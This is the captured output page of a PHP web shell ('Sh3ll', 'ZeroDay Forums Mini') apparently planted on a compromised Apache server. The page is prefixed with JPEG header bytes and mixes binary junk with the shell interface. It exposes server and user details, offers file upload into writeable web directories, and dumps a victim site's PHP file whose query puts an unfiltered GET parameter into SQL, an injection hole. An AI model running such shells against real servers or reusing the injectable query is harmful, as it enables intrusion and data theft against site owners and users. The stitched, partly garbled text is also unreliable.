ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/video/video_error.php
<?php
require 'vendor/autoload.php';
require "configs.php";
require "lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
$id = $_GET['id']??0;
$root_path = $INFO['root_path'];
$month_now = date("Y").'/'.date("m").'/'.date("d");
if(!is_dir("anime/".$month_now."/")) {
    mkdir("anime/".$month_now."/",0755,true);
}
$arr_res = array();
$r_video = $DB->fetch_row($DB->query("SELECT * FROM `tb_video` WHERE video_id='$id'"));
$tmp_name_log = str_replace(array("anime/",".mp4"),array("error_log/",".log"),$r_video['video_tmp']);
if(file_exists($tmp_name_log)){
    echo "<pre>";
    echo trim(file_get_contents($tmp_name_log));
    echo "</pre>";
}
$DB->free_result();
$DB->close_db();
?>

ZeroDay Forums Mini